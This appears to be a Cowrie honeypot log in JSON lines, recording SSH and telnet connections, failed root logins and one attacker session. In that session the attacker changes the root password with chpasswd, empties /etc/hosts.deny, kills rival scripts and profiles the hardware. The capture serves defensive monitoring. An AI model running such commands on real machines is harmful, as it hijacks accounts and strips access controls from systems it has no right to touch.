{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:52.421499Z","src_ip":"87.106.29.151","session":"1a81a746cf0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:52.521209Z","src_ip":"87.106.29.151","session":"1a81a746cf0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:52.942997Z","src_ip":"87.106.29.151","session":"1a81a746cf0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.042641Z","src_ip":"87.106.29.151","session":"1a81a746cf0a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.183244Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.187132Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.401830Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.548979Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:4d2CvcV95K2X\"|chpasswd|bash","message":"CMD: echo \"root:4d2CvcV95K2X\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.552236Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0909d32116e6d2cbf81c98d8a458169bb16732bdc953c86f19495e25114cf707","size":24,"shasum":"0909d32116e6d2cbf81c98d8a458169bb16732bdc953c86f19495e25114cf707","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/0909d32116e6d2cbf81c98d8a458169bb16732bdc953c86f19495e25114cf707 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.742999Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.896239Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:54.899724Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.004578Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.009084Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.239329Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.243430Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.437732Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.588106Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.591772Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.785352Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.933016Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.936598Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:55.940293Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.135371Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.281679Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.284909Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.484785Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.629718Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.633169Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.826093Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:56.997345Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.000998Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.194696Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.340539Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.344143Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.538915Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.688624Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.692730Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:57.886537Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.032799Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.036712Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.229870Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":55720,"dst_ip":"10.17.0.5","dst_port":23,"session":"06ab2861704c","protocol":"telnet","message":"New connection: 23.94.28.189:55720 (10.17.0.5:23) [session: 06ab2861704c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.321365Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.377538Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.380738Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.585421Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.726671Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.729852Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:58.951113Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:59.097600Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:59.100942Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:59.295059Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:59.427962Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:59.431257Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:59.532470Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:27:59.537232Z","src_ip":"87.106.29.151","session":"8acabc79509b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.75773811340332,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:19.781194Z","src_ip":"50.6.8.71","session":"b7b23bb0f615","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":17531,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7266c2f7d2e","protocol":"ssh","message":"New connection: 178.20.210.186:17531 (10.17.0.5:22) [session: b7266c2f7d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:22.151145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:22.155301Z","src_ip":"178.20.210.186","session":"b7266c2f7d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:22.271291Z","src_ip":"178.20.210.186","session":"b7266c2f7d2e","protocol":"ssh"}
